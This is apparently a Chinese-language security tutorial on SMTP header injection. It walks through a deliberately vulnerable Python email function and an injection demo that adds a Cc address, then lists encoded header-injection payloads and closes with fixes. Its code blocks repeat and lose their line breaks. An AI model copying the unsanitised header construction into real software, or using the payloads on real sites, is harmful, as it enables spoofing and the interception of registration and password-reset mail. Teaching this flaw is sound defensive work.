漏洞介绍
SMTP是用于发送和传递电子邮件的协议,定义了邮件的传输方式和交流规则。
SMTP注入是指可通过添加/控制邮件头的方式,篡改邮件的发送者、抄送、密送等字段,从而达到欺骗、窃取邮件信息或劫持邮件传递的目的。
既然归属到注入类,说明也是对用户输入未严格过滤,从而达到非预期的结果。
邮件头介绍
常见邮件头代表的含义如下:
邮件头字段 | 含义 |
---|---|
From | 邮件的发送者 |
To | 邮件的主要接收者 |
Cc | 邮件的抄送接收者 |
Bcc | 邮件的密送接收者 |
Subject | 邮件的主题或标题 |
Body | 邮件的正文内容 |
Date | 邮件的发送时间 |
Reply-To | 回复邮件时使用的地址 |
Importance | 邮件的重要性级别 |
MIME-Version | 邮件的MIME版本 |
Content-Type | 邮件正文内容的类型及编码方式 |
Content-Disposition | 邮件附件的处理方式 |
Message-ID | 邮件的唯一标识符 |
In-Reply-To | 针对哪封邮件进行回复的标识符 |
References | 相关邮件的标识符列表 |
Return-Path | 邮件的退回地址 |
X-Priority | 邮件的优先级 |
为了尽可能的获取实用的邮件头,使用抄送+密送的方式发一封邮件,查看原文,就可以看到发送的实际内容。
漏洞复现
漏洞环境
假设存在一个注册功能点,我们输入邮箱后,网站给我们发送激活链接进行注册。
其中,发送邮件使用的代码为:
import base64import smtplibfrom urllib.parse import unquotefrom email.header import Headerfrom email.message import Messagedef send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password):email_string = f"""MIME-Version: 1.0Content-Type: text/plain; charset="utf-8"Content-Transfer-Encoding: base64From: {from_addr}To: {to_addr}Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?={base64.b64encode(mail_text.encode()).decode()}"""print(f"\n{email_string}\n")try:smtp_obj = smtplib.SMTP_SSL(smtp_host, smtp_port)smtp_obj.login(smtp_username, smtp_password)smtp_obj.sendmail(from_addr, to_addr, email_string)smtp_obj.quit()print('邮件发送成功')except smtplib.SMTPException as e:print('邮件发送失败:', str(e))if __name__ == '__main__':# to_addr = 'ntoouuzovrlfy@baybabes.com'to_addr = input("收件箱地址: ")to_addr = unquote(to_addr)# 使用示例from_addr = 'xxx@163.com'subject = '注册邀请'mail_text = '您的注册地址为:xxxxx'smtp_host = 'smtp.163.com'smtp_port = 465smtp_username = 'username'smtp_password = 'password'send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password)import base64 import smtplib from urllib.parse import unquote from email.header import Header from email.message import Message def send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password): email_string = f"""MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 From: {from_addr} To: {to_addr} Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?= {base64.b64encode(mail_text.encode()).decode()} """ print(f"\n{email_string}\n") try: smtp_obj = smtplib.SMTP_SSL(smtp_host, smtp_port) smtp_obj.login(smtp_username, smtp_password) smtp_obj.sendmail(from_addr, to_addr, email_string) smtp_obj.quit() print('邮件发送成功') except smtplib.SMTPException as e: print('邮件发送失败:', str(e)) if __name__ == '__main__': # to_addr = 'ntoouuzovrlfy@baybabes.com' to_addr = input("收件箱地址: ") to_addr = unquote(to_addr) # 使用示例 from_addr = 'xxx@163.com' subject = '注册邀请' mail_text = '您的注册地址为:xxxxx' smtp_host = 'smtp.163.com' smtp_port = 465 smtp_username = 'username' smtp_password = 'password' send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password)import base64 import smtplib from urllib.parse import unquote from email.header import Header from email.message import Message def send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password): email_string = f"""MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 From: {from_addr} To: {to_addr} Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?= {base64.b64encode(mail_text.encode()).decode()} """ print(f"\n{email_string}\n") try: smtp_obj = smtplib.SMTP_SSL(smtp_host, smtp_port) smtp_obj.login(smtp_username, smtp_password) smtp_obj.sendmail(from_addr, to_addr, email_string) smtp_obj.quit() print('邮件发送成功') except smtplib.SMTPException as e: print('邮件发送失败:', str(e)) if __name__ == '__main__': # to_addr = 'ntoouuzovrlfy@baybabes.com' to_addr = input("收件箱地址: ") to_addr = unquote(to_addr) # 使用示例 from_addr = 'xxx@163.com' subject = '注册邀请' mail_text = '您的注册地址为:xxxxx' smtp_host = 'smtp.163.com' smtp_port = 465 smtp_username = 'username' smtp_password = 'password' send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password)
正常发送结果如下:
复现过程
上方代码可见to_addr
为收件人可控,我们将其输入为ntoouuzovrlfy@baybabes.com%0aCc: rocaced977@soremap.com
并发送
可见成功注入了SMTP邮件头Cc(抄送),此时注入的恶意邮箱rocaced977@soremap.com
也将收到和ntoouuzovrlfy@baybabes.com
一样的邮件。
漏洞常见点
所有和发送邮件有关的功能点都可以进行尝试,如邮箱注册、邮箱找回密码等…
常见payload:
就是通过各种方式注入SMTP header头中。
rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.comadmin@domain.com%0AFrom:eval@domain.comFrom:sender@domain.com%0ATo:attacker@domain.comFrom:sender@domain.com%0ASubject:This’s%20Fake%20Subjectrec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com admin@domain.com%0AFrom:eval@domain.com From:sender@domain.com%0ATo:attacker@domain.com From:sender@domain.com%0ASubject:This’s%20Fake%20Subjectrec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com admin@domain.com%0AFrom:eval@domain.com From:sender@domain.com%0ATo:attacker@domain.com From:sender@domain.com%0ASubject:This’s%20Fake%20Subject
修复建议
- 输入过滤,可以使用正则表达式
^[\w\.-]+@[\w\.-]+\.\w+$
来过滤用用户提交的邮箱。 - 使用安全的组件和库,如Python的
smtplib
、Java的javax.mail
、PHP的PHPMailer
等,尽可能的通过模块内置的一些函数来设定SMTP header头。
© 版权声明
文章版权归作者所有,未经允许请勿转载,侵权请联系 admin@trc20.tw 删除。
THE END